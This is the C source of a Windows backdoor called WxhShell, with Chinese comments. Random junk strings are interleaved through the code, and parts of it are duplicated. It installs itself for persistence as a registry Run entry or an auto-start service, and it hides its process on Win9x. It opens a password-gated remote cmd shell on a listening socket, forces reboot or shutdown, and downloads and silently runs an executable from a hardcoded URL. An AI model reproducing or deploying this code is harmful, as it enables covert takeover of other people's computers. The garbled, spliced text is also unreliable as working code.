')N!g rdBF+YN9/? if (!NtQueryInformationProcess) return 0; h8zl\ [$iKx6\ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "tX=^4 if(!hProcess) return 0; bsosva+ .?^a|] if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9]]isE8r CtO;_;eD' CloseHandle(hProcess); B\mRHV! hH3~O`~ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [OU[i(,{ if(hProcess==NULL) return 0; Z8xKg -:]-g:;/ HMODULE hMod; =ICakh!TO char procName[255]; ;D>*Pzj unsigned long cbNeeded; !kG 2$/lR QKVFH:"3 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :`X!no; { nMT"Rp CloseHandle(hProcess); WUfPLY_c( WJA0 `<~ if(strstr(procName,"services")) return 1; // 以服务启动 1[U`,(C1 .W*" C return 0; // 注册表启动 WETnrA"N } XUK!1} knb 9s`wR // 主模块 UD6:X&Un int StartWxhshell(LPSTR lpCmdLine) I/vQP+w O { ze_q+Z SOCKET wsl; 8G<{L0J%! BOOL val=TRUE; r&0IhE int port=0; O*dtVX struct sockaddr_in door; I|eYeJ3 Yb?L:,a(I if(wscfg.ws_autoins) Install(); zho$g9* ,)beK*Iw port=atoi(lpCmdLine); 8?z7!k] J&w'0 if(port<=0) port=wscfg.ws_port; 1Vi3/JM@ D\CjR6DE WSADATA data; u+_6V if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "'@>cJ= +B#+' if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; *^=zQ~ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \YMe&[C:o door.sin_family = AF_INET; _GF{Duxh door.sin_addr.s_addr = inet_addr("127.0.0.1"); i[V\RKH*F door.sin_port = htons(port); hwj:$mR [PP&}.k4" if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { tsf)+`vt closesocket(wsl); j.:I{!R# return 1; -qNun3 } !Sj0! \ W9M~2<
L if(listen(wsl,2) == INVALID_SOCKET) { %}/ |/= closesocket(wsl); tmVGJ+gz return 1; #[B]\HO } zg+6<
.Sf Wxhshell(wsl); Yk @/+PE WSACleanup(); 6t!PHA 5'%nLW7;O return 0; 4mM?RGWv t,,W{M|E( } dHO8 bYBH .sBwJZ // 以NT服务方式启动 vp2s)W8W VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) , SB5" { =,w(D~ps DWORD status = 0; EZb_8<DH DWORD specificError = 0xfffffff; efUa[XO {,Z-GJ serviceStatus.dwServiceType = SERVICE_WIN32; @{LD_>R serviceStatus.dwCurrentState = SERVICE_START_PENDING; NR9=V serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; l)K8.(2 serviceStatus.dwWin32ExitCode = 0; Ef2i#BoZ serviceStatus.dwServiceSpecificExitCode = 0; <4%cKW0 serviceStatus.dwCheckPoint = 0; }P*x/z~ serviceStatus.dwWaitHint = 0; kC8M2 |L tcD DX'S hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); IDn$w^" if (hServiceStatusHandle==0) return; +JlPQ~5 SDHJX8Hq status = GetLastError(); u?%FD~l:uU if (status!=NO_ERROR) 5h7M3s { ,We'AR3X serviceStatus.dwCurrentState = SERVICE_STOPPED; -.t/c}a# serviceStatus.dwCheckPoint = 0; ]X\p\n'@j serviceStatus.dwWaitHint = 0; \.K4tY+V serviceStatus.dwWin32ExitCode = status; 7M, (!*b serviceStatus.dwServiceSpecificExitCode = specificError; -POsbb> SetServiceStatus(hServiceStatusHandle, &serviceStatus); eFXQ~~gOj return; PHU$<> } 0qp Pz|h ^+k~{F,) serviceStatus.dwCurrentState = SERVICE_RUNNING; e754g(|>b serviceStatus.dwCheckPoint = 0; O]VHX![Y$ serviceStatus.dwWaitHint = 0; pz0Q@ n/X if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); UB2Ft= }
H_vGa!_ /Dj-@7.C/ // 处理NT服务事件,比如:启动、停止 /L^pU-}Z0 VOID WINAPI NTServiceHandler(DWORD fdwControl) <1eD*sC?g { _2~+%{/m, switch(fdwControl) 5lrjM^E| { H{U(Rt]K case SERVICE_CONTROL_STOP: 5[0W+W
serviceStatus.dwWin32ExitCode = 0; ,?oC+9w serviceStatus.dwCurrentState = SERVICE_STOPPED; ./i5VBP5 serviceStatus.dwCheckPoint = 0; h\lyt(.s serviceStatus.dwWaitHint = 0; :D:Y-cG*n< { F XG,DJ: SetServiceStatus(hServiceStatusHandle, &serviceStatus); @Pb%dS } `;HZO8 return; {'NXJ!I;t case SERVICE_CONTROL_PAUSE: $i;m9_16 serviceStatus.dwCurrentState = SERVICE_PAUSED; \IX|{]*D break; v7b+ case SERVICE_CONTROL_CONTINUE: lEXI<b'2 serviceStatus.dwCurrentState = SERVICE_RUNNING; 2e^6Od!Y? break; sa
w case SERVICE_CONTROL_INTERROGATE: c0f8*O4i break; rk8Cea }; 4)Ab]CdD SetServiceStatus(hServiceStatusHandle, &serviceStatus); E>isl" } pv"QgH zXaA5rZO // 标准应用程序主函数 2ut)m\)/) int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) r<OqI*7 { XE($t2x,M
W4&Itj // 获取操作系统版本 I''X\/| OsIsNt=GetOsVer(); V i<6i0 GetModuleFileName(NULL,ExeFile,MAX_PATH); ,u S)N6'b6 FM,o&0HSd // 从命令行安装 '4)4* 3z, if(strpbrk(lpCmdLine,"iI")) Install(); ,Q,3^v- e !N% // 下载执行文件 'b:UafV if(wscfg.ws_downexe) { UFGUP]J> if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _jM+;=f WinExec(wscfg.ws_filenam,SW_HIDE); BT|n+Y[ } OMm'm\+/ &xE+PfX if(!OsIsNt) { s8+{##"1
q // 如果时win9x,隐藏进程并且设置为注册表启动 W(o#2;{ln HideProc(); jZR2Nx}16 StartWxhshell(lpCmdLine); k2:mIp\ } XM~eocn else iLk"lcX if(StartFromService()) r1a/'+ // 以服务方式启动 S
N;1F StartServiceCtrlDispatcher(DispatchTable); q'KXn0IY# else ZmaGp* Wj // 普通方式启动 yC\!6pg StartWxhshell(lpCmdLine);
(V<pz2\ R47tg&k6[ return 0; y\XWg`X
y } 48LzI@H& u85?f 9t+:L(*pK 6yK"g7 =========================================== ~F13}is %9b TfX" !~`aEF3 {nH*Wu*^ .6A{ suE#'0K " n0b{Jg * M9Qx F #include <stdio.h> 3\j3vcuy #include <string.h> '@f#GNRT #include <windows.h> l
9bg #include <winsock2.h> PBb'`PV #include <winsvc.h> \OVw #include <urlmon.h> [E;~Y_l ;Swj`'7 #pragma comment (lib, "Ws2_32.lib") Voo_
? #pragma comment (lib, "urlmon.lib") yX1OJg[s, <4Ik]Uz^ #define MAX_USER 100 // 最大客户端连接数
u"-."_ #define BUF_SOCK 200 // sock buffer ,B$e'KQ #define KEY_BUFF 255 // 输入 buffer (|sqN8SbA V"5LNtf #define REBOOT 0 // 重启 &Vbcwv@ #define SHUTDOWN 1 // 关机 &24>9 xbsX-F #define DEF_PORT 5000 // 监听端口 7l3Dxw/N (``|5;T\ #define REG_LEN 16 // 注册表键长度 3yu,qb'"& #define SVC_LEN 80 // NT服务名长度 `3L?x8g iCdq-r/r!6 // 从dll定义API Z4{~ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :tp{(MF typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Y|L]# typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 85ND 3F6q4 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5](,N^u{): #Kt5+"+7 // wxhshell配置信息 v7mg8' struct WSCFG { +?+iVLr!l} int ws_port; // 监听端口 9ZG__R3B1\ char ws_passstr[REG_LEN]; // 口令 m`#UV-$J int ws_autoins; // 安装标记, 1=yes 0=no "tz`@3,5dN char ws_regname[REG_LEN]; // 注册表键名 w%eEj.MI|i char ws_svcname[REG_LEN]; // 服务名 k!{h]D0 char ws_svcdisp[SVC_LEN]; // 服务显示名 ~"22X`;h[G char ws_svcdesc[SVC_LEN]; // 服务描述信息 Eg0qY\' char ws_passmsg[SVC_LEN]; // 密码输入提示信息 vnH[D)`@ int ws_downexe; // 下载执行标记, 1=yes 0=no G`NGt_C char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" DHh30b$c char ws_filenam[SVC_LEN]; // 下载后保存的文件名 CM
8Ub% rQ&F Gb }; )P9&I.a8 ~}ba2dU8 // default Wxhshell configuration p"QV| ` struct WSCFG wscfg={DEF_PORT, yOE N*^6 "xuhuanlingzhe", iQz
c$y^,9 1, 54%h)dLDy "Wxhshell", wu19Pg?F "Wxhshell", aKw7m={ "WxhShell Service", /^b=| +Do "Wrsky Windows CmdShell Service", +Ec@qP R& "Please Input Your Password: ", e!
0Y`lQ 1, R![1\Yv& "http://www.wrsky.com/wxhshell.exe", no8FSqLUS~ "Wxhshell.exe" B8 R&Q8Q }; W)2ZeH* T4x[
\v5d // 消息定义模块 ;{ESo?$* char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]`\~(*;[W9 char *msg_ws_prompt="\n\r? for help\n\r#>"; WxS$yUu char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; N>',[4pJ| char *msg_ws_ext="\n\rExit."; 6adXE char *msg_ws_end="\n\rQuit."; rM)-$dZ char *msg_ws_boot="\n\rReboot..."; 2IFEl-IB[ char *msg_ws_poff="\n\rShutdown..."; Fr]B]Hj char *msg_ws_down="\n\rSave to "; b_-?ZmV^r p"o_0{8 char *msg_ws_err="\n\rErr!"; #i|AE` char *msg_ws_ok="\n\rOK!"; 5db9C}0 S3&lkN5 char ExeFile[MAX_PATH]; Tw!_=zy(Gw int nUser = 0; )X5en=[)O HANDLE handles[MAX_USER]; Schvwlm~i int OsIsNt; 7=pJ)4;ZA kT4Oal+4 SERVICE_STATUS serviceStatus; a'YK1QX SERVICE_STATUS_HANDLE hServiceStatusHandle; UYsyVY`Fm| |H4f&&Wd // 函数声明 Uf<IXx&; int Install(void); <jtu/U]78| int Uninstall(void); I2*\J)|f int DownloadFile(char *sURL, SOCKET wsh); |gM@}!DL int Boot(int flag); ]VHO'z\m void HideProc(void); .{66q#. int GetOsVer(void); Ugv"A;l int Wxhshell(SOCKET wsl); Lb%:u5X\D@ void TalkWithClient(void *cs); W3Dtt-)E int CmdShell(SOCKET sock); /PgcW int StartFromService(void); ^:,I #] int StartWxhshell(LPSTR lpCmdLine); [h~#5x
T|ZJ$E0 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); o7t#yw3 VOID WINAPI NTServiceHandler( DWORD fdwControl ); }XIUz| ^3w
>:4m // 数据结构和表定义 rWxQ;bb# SERVICE_TABLE_ENTRY DispatchTable[] = 75RQ\_zDu { Hy#<fKz`! {wscfg.ws_svcname, NTServiceMain}, w$[ck= {NULL, NULL} .dl4f"k }; `Y.Q{5Y ~"i4"Op& // 自我安装 kac]Rh8vO int Install(void) 4
X6_p( { F;<cG`|Rx char svExeFile[MAX_PATH]; 4%,E;fB?= HKEY key;
cj9<! "6 strcpy(svExeFile,ExeFile); FdMxw*} )L%[(iI,x // 如果是win9x系统,修改注册表设为自启动 ^HI}bS1+| if(!OsIsNt) { wsyAq'%L if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b%D}mxbS RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qn#f:xltu RegCloseKey(key); l]KxUkA+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -`} d@x RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?;?$\b= RegCloseKey(key); [Z{0|NR return 0; qo5WZ
be } 2^T`> ?{X } \EOPlyf8x } zua=E2 else { jY ~7- sboX< // 如果是NT以上系统,安装为系统服务 U8icP+Y SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); o~={M7m if (schSCManager!=0) $C~OV@I { I+_u?R)$ SC_HANDLE schService = CreateService Z{spo= ( [{cMEV& schSCManager, =#sr4T wscfg.ws_svcname, Uh8c!CA8:\ wscfg.ws_svcdisp, "[p-Iy1 SERVICE_ALL_ACCESS, <-K'9ut, SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , DW.vu%j^[ SERVICE_AUTO_START, {G(N vf,K] SERVICE_ERROR_NORMAL, 6A*k svExeFile, vILq5iR NULL, 3v7*@(y NULL, H3qM8_GUA NULL, o@blvW<v7 NULL, CJ#1j> NULL ^E`SR6_cmj ); 9#ZR0t.cY if (schService!=0) Ph|\%P`>% { PcQqdU^! CloseServiceHandle(schService); P*zOt]T CloseServiceHandle(schSCManager); X!ad~bt strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 92)e/t iP strcat(svExeFile,wscfg.ws_svcname); @?\[M9yK if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { tv8}O([ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); mu#
a RegCloseKey(key); (_$'e%G0 return 0; E4dN,^_ F! } '+*{u]\ } FCMV1, CloseServiceHandle(schSCManager); +4*jO5EZ } +YK/^;Th } s6| S#
@ob4y return 1; ( zL( } }[m,HA<j tNbZ{=I> // 自我卸载 v6q oH)n int Uninstall(void) 'k?*?XxG { o9#8q_D9 HKEY key; R@Kzdeo 2%*mL98WK if(!OsIsNt) { YqSkz|o}m if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -k I;yL RegDeleteValue(key,wscfg.ws_regname); U" ;8zplU RegCloseKey(key); ,ThN/GkSC if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;u
"BCW RegDeleteValue(key,wscfg.ws_regname); T0=%RID%= RegCloseKey(key); \>@QJ return 0; c1L0#L/F6" } jX8,y } `bx}!;{lx } z),@YJU"z else { 8C(@a[V !H[K"7w SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `$N()P if (schSCManager!=0) &q0s8'qA { a-<&(jV SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); m"y_@Jk if (schService!=0) L?slIGp%- { -U#e if(DeleteService(schService)!=0) { TaI72"8 CloseServiceHandle(schService); 8)
1+j>OQ CloseServiceHandle(schSCManager); _Nmc1azS return 0; Iurb? } [~#]p9|L CloseServiceHandle(schService); ql_GN[c/ } uiQR RT CloseServiceHandle(schSCManager); G34fxhh } krI@N}OU } o@!Uds0 EmO{lCENk return 1; @0{vA\ } =2rkaBFC 1?}5.*j< // 从指定url下载文件 u|}p3-z|Y int DownloadFile(char *sURL, SOCKET wsh) RC>79e/u< { G&2`c\u{ HRESULT hr; ;H;c Sn5uL char seps[]= "/"; RAps`)OR? char *token; 0l&#%wmJ, char *file; ZIo%(IT!c char myURL[MAX_PATH]; c&AJFED]< char myFILE[MAX_PATH]; ?1kXV n$ xYUC|c1Q9 strcpy(myURL,sURL); X zF-g*e token=strtok(myURL,seps); k9Xv@v while(token!=NULL) F&= X/ { Zj]jE%AT file=token; :t8?!9g token=strtok(NULL,seps); !:<(p } )J<VDO:_YA V+'C71-P GetCurrentDirectory(MAX_PATH,myFILE); DN%b!K: strcat(myFILE, "\\"); pni*#W*n strcat(myFILE, file); @W+m;4 HH send(wsh,myFILE,strlen(myFILE),0); oFC]L1HN& send(wsh,"...",3,0); :,'yHVG\ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); H;.${u^lhd if(hr==S_OK) n
9X:s?B/ return 0; Op2@En|d else #5b}"xK{ return 1; 9nrmz>es|- td"D&1eQ@ } EO:
VH 8,DY0PGP // 系统电源模块 9J
$"Qt5;6 int Boot(int flag) Q6lC :cB< { aHR&6zj4 HANDLE hToken; rOyKugHe TOKEN_PRIVILEGES tkp; T}55ZpSC& Z;qgB7-M if(OsIsNt) { ]8;2Oh
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Z|
f~
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); '1r<g\l tkp.PrivilegeCount = 1; +IkL=/';# tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ) ]
C"r_ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); io1hUZ if(flag==REBOOT) { AwQ7O z|( if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) QRL+-)DMc return 0; iu9 <]1k } 5tG\5
else { WH6Bs=G\} if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) bAVlL&^@| return 0; b Y^K)0+^s } (G<fvl!~ } 1@"os[9 else { alV{| Vf[6 if(flag==REBOOT) { WnkI i,< if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Fk*C8 return 0; cq#=Vb } u4QBD5T" else { dum(T if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =(cfo_B@K return 0; 7(W"NF{r } snm1EPj } u#^~([I aSVR+of return 1; j+6`nN7L } pHKGK7 S- (S)jV0 // win9x进程隐藏模块 (ibj~g?U, void HideProc(void) ]r\d 5 { Gj ka % !0DOj[" HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); MLk%U 4 if ( hKernel != NULL ) lK yeG( { =_:Mx'7 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 'irHpN6n ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); nKu)j3o` FreeLibrary(hKernel); Vu1swq)l } :)g}x&A^$ ,GTIpPj return; mDX
UF~G[ } *:tfz*FG$G tB/'3#o // 获取操作系统版本 ,\^RyHg int GetOsVer(void) uJ9
hU`h { 4ynGXJmMlR OSVERSIONINFO winfo; ^9`S`Bhp winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); h(MNH6B1 GetVersionEx(&winfo); `\Ye:$q if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <Dq7^,}# return 1; #-{^={p" else /)/>/4O return 0; &(/QJ `*8 } mF`%Z~}b ';iLk[ // 客户端句柄模块 gH<A.5 xy int Wxhshell(SOCKET wsl) ^P~NE#p5 { eH' J SOCKET wsh; 'eDV-cB struct sockaddr_in client; %RD%AliO}K DWORD myID; ]7:*A7/!. t=BXuFiu while(nUser<MAX_USER) :9Mqwgk,;3 { -*AUCns# int nSize=sizeof(client); }F=lG -x wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .h=H?Hr(V] if(wsh==INVALID_SOCKET) return 1; m#a1N D9/PVd handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); mh"9V5T if(handles[nUser]==0) sRaTRL2 closesocket(wsh); t^5xq8w8 else ;oGpB#[zO nUser++; T'${*NVn } wG}Rh, WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); d*tn&d~k, .\}nDT return 0; /pYp,ak } v FWg0 $, SsfHp // 关闭 socket 7j~}M(s" void CloseIt(SOCKET wsh) I6lWB(H!u { n1r'Y;G closesocket(wsh); R!y`p:O
C nUser--; ka?EXF: ExitThread(0); K bM1b } u.9syr "*JyNwf // 客户端请求句柄 i=AQ1X\s void TalkWithClient(void *cs) a*bAf'= { Su*f`~G]; 6!$2nK+ SOCKET wsh=(SOCKET)cs; >NMq^J'/ char pwd[SVC_LEN]; Gm.2!F=R4A char cmd[KEY_BUFF]; }y&tF'qG char chr[1]; 4B$|UG int i,j; !63]t?QXMG owKOH{otf while (nUser < MAX_USER) { +LB2V3UZ zya2 O?s if(wscfg.ws_passstr) { -4LckY=]1 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); " gQJeMU //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :@]%n~x //ZeroMemory(pwd,KEY_BUFF); 45U!\mG i=0; ? uu, w while(i<SVC_LEN) { V8-*dE Q~zs]{\ // 设置超时 `FHKQS5 fd_set FdRead; ?my2dd,| struct timeval TimeOut; )=5,S~IT FD_ZERO(&FdRead); rPUk%S FD_SET(wsh,&FdRead); J e.%-7f TimeOut.tv_sec=8; o%)38T*n3 TimeOut.tv_usec=0; [/GCy0jk int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); n?}7vz; if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); N"-U)d-. K6G+sBw[ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Qa@]
sWcM pwd=chr[0]; m
^'! if(chr[0]==0xd || chr[0]==0xa) { B*&HQW *u pwd=0; ihBIE break; Cd'`rs}3 } ,}a'h4C i++; &b9bb{y_$K } x't@Mc ?AYb@&% // 如果是非法用户,关闭 socket B'8T+qvA if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 91\]Dg } Y0xn}:%K SI9PgC send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]CGH )4Pe send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [iUy_ C=qp 7QM1E(cMg while(1) { z2IKd'Wy 5\.w\ ZeroMemory(cmd,KEY_BUFF); a_U[!`/w q:<vl^<j // 自动支持客户端 telnet标准
YES-,;ZQ' j=0; h42dk(B while(j<KEY_BUFF) { xM2UwTpW if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +~\ 1g^h cmd[j]=chr[0]; G6q*U, if(chr[0]==0xa || chr[0]==0xd) { f(E[jwy cmd[j]=0; &@fW6},iW break; xFp?+a } 9^1li2z k{ j++; @~C
C$Y$ } ,&iZ*6=X?0 0P^&{ek+) // 下载文件 Qv;q*4_ if(strstr(cmd,"http://")) { M%v 6NxN send(wsh,msg_ws_down,strlen(msg_ws_down),0); sj8lvIY5 if(DownloadFile(cmd,wsh)) dLtmG:II send(wsh,msg_ws_err,strlen(msg_ws_err),0); M@<r8M]G else 4;V;8a\A send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NEW0dF&) } k\Z@B!VAq else { 8)XAdAr rbc7CPq_^ switch(cmd[0]) { 35n'sVn 9O|k|FD // 帮助 yII+#?D case '?': { (7w95xI send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); K:54`UJ break; v(~EO(n. } rp,Us#>6 // 安装 NuR3]Ja\0 case 'i': { Eu2(#z 6eW if(Install()) GxS!Lk send(wsh,msg_ws_err,strlen(msg_ws_err),0); jQ3&4>g j else BDT"wy8 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9=.7[-6i9 break; }.r) } dfWtLY // 卸载 UY^TTRrH case 'r': { \:9<d@? if(Uninstall()) VfkQc$/ send(wsh,msg_ws_err,strlen(msg_ws_err),0); L7nW_ else BE)&.}l send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MN[D)RKh; break; =F/ EzS } [7h/ 2La# // 显示 wxhshell 所在路径 V>& 1;n case 'p': { Yd] char svExeFile[MAX_PATH]; a^7QHYJ6 strcpy(svExeFile,"\n\r"); b]g#mQ strcat(svExeFile,ExeFile); ccwz:7r send(wsh,svExeFile,strlen(svExeFile),0); g4&f2D5 break; FXh*!%"* } SS!b` // 重启 <['ucp
case 'b': { d"OYq send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); F0ylJ
/E if(Boot(REBOOT)) hq?F81 send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZwMd 22 else { 3u/ GrsF closesocket(wsh); N*SUA4bnuM ExitThread(0); @`XbM7D 5 } EAV6qW\r5] break;
+Ou<-EQV } t@!A1Vr@ // 关机 WXd#`f % case 'd': { ;jh.\a_\ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Oar%LSkPRz if(Boot(SHUTDOWN)) ,:%
h`P_ send(wsh,msg_ws_err,strlen(msg_ws_err),0); {hVc,\A else { GjyTM closesocket(wsh); z[l_<`J$9 ExitThread(0); ^f9>tI{ } `$XgfMBf | break; #6mr'e1 } xtK}XEhG! // 获取shell 6\USeZh case 's': { @?5pY^>DK CmdShell(wsh); @./@"mR< closesocket(wsh); *0Wkz'=U ExitThread(0); )!=fy'] break; V$bq|r } u3\_![Jt? // 退出 sNZOm $ case 'x': { R0e!b+MZ. send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); C:z7R" yj CloseIt(wsh); IwR=@Ne8 break; B$MHn? } UaBNoD // 离开 8i
Ew;I_ case 'q': { wcW7k(+0 send(wsh,msg_ws_end,strlen(msg_ws_end),0); s){R/2O3F closesocket(wsh); q+ka}@ WSACleanup(); )kIjZ exit(1); nPhREn! break; *i V#_ } FpZ5@ } LBIEG_/m } l $0w 9Z^ _ME?o // 提示信息 s8SCEpz if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Iv/h1j> H } 83F]d+n } u.2^t:A h<i.Z7F;tj return; 2=$ F*B>9 } #J~xKyJi' ;}'Z2gZB // shell模块句柄 Q}uh`?t int CmdShell(SOCKET sock) wsgT`M'J[ { Yu:($//w STARTUPINFO si; o(D6 ZeroMemory(&si,sizeof(si)); M $zt;7P| si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; O@>{%u si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; L#fS P PROCESS_INFORMATION ProcessInfo; J]|S0JC` char cmdline[]="cmd"; 3iw.yR CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); g_)i)V return 0; F6"Qs FG } =z'533C m Gx{Vpt // 自身启动模式 4MRN{W6 int StartFromService(void) 0OBwe6* { RQ,X0pS typedef struct qWJap-hb { {'cdi` DWORD ExitStatus; %:y"o_X_ DWORD PebBaseAddress; d.k'\1o DWORD AffinityMask; j6Au<P DWORD BasePriority; /UtSZ( ULONG UniqueProcessId; ]0g1P-&,U ULONG InheritedFromUniqueProcessId; N@8tf@BT } PROCESS_BASIC_INFORMATION; ^9XAWj" vqo ~?9z[e PROCNTQSIP NtQueryInformationProcess; rLcXo%w ZWx4/G static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @}{Fw;,(7n static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ._<gc;G 9mEhZ" HANDLE hProcess; %3T:W\h PROCESS_BASIC_INFORMATION pbi; gXB&Sgjo Y{L|ja%9? HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 10*^ if(NULL == hInst ) return 0; wV'_{/WM =<U'Jtu6' g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); sNJ?Z"5k1h g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Nrc-@ ] NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >Vb V<ak ;(IAhWE?7 if (!NtQueryInformationProcess) return 0; =h}PL22 '>>@I~<\ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); n;k
B_i*l if(!hProcess) return 0; I bE Nq w^/"j_p@ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;
sVP2$? CN7qqd CloseHandle(hProcess); S.^x)5/,,T &sGLm~m# hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); kLbo |p"cT if(hProcess==NULL) return 0; h|ja67VG @@|H8mP}H HMODULE hMod; 3Ael char procName[255]; %j ?7O00@ unsigned long cbNeeded; >c.HH}O0W 5S4`.' if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >|JMvbje sE0,b CloseHandle(hProcess); O9Yk5b; L'a>D if(strstr(procName,"services")) return 1; // 以服务启动 {>l`P{{y K_V$ ktL return 0; // 注册表启动 yJw4!A 1! } /(bn+l}W qGie~S ## // 主模块 y |Tv;v1L int StartWxhshell(LPSTR lpCmdLine) 